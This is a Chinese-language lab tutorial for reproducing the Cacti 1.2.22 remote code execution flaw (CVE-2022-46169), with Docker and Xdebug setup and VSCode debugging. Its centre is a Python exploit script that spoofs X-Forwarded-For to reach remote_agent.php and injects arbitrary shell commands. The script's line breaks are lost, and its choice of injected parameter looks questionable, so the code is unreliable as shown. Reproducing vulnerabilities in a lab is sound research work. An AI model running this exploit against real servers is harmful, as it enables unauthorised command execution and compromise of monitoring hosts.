Cacti RCE漏洞复现
一、环境准备
1. 创建Docker容器
首先,我们需要一个包含PHP 7.4和Cacti的Docker环境:
docker run -it --name cacti_vuln -p 80:80 -p 443:443 php:7.4-apache bash
2. 安装Xdebug
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
3. 配置Xdebug
编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini:
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
xdebug.client_host=host.docker.internal
xdebug.log=/tmp/xdebug.log
4. 安装Cacti
apt update && apt install -y wget unzip
wget https://www.cacti.net/downloads/cacti-1.2.22.zip
unzip cacti-1.2.22.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/cacti-1.2.22
5. 重启容器
exit
docker restart cacti_vuln
二、漏洞复现
1. 漏洞背景
Cacti 1.2.22及之前版本存在一个远程代码执行漏洞(CVE-2022-46169),攻击者可以通过精心构造的HTTP请求在服务器上执行任意命令。
2. 漏洞利用步骤
1、访问Cacti安装页面完成安装
2、使用以下Python脚本进行漏洞利用:
import requests
import sys
import urllib3
urllib3.disable_warnings()def exploit(url, cmd):headers = {"X-Forwarded-For": "127.0.0.1"}payload = f";{cmd}"params = {"action": "polldata","poller_id": "1","host_id": "1","local_data_ids[]": payload}try:r = requests.get(f"{url}/remote_agent.php", params=params, headers=headers, verify=False)print(r.text)except Exception as e:print(f"Error: {e}")if __name__ == "__main__":if len(sys.argv) != 3:print(f"Usage: {sys.argv[0]} <target_url> <command>")sys.exit(1)exploit(sys.argv[1], sys.argv[2])
3、执行命令示例:
python exploit.py http://localhost/cacti-1.2.22 "whoami"
三、VSCode调试配置
1. 安装PHP Debug扩展
在VSCode中安装PHP Debug扩展。
2. 配置launch.json
{"version": "0.2.0","configurations": [{"name": "Listen for Xdebug","type": "php","request": "launch","port": 9003,"pathMappings": {"/var/www/html": "${workspaceFolder}"},"log": true}]
}
在remote_agent.php中设置断点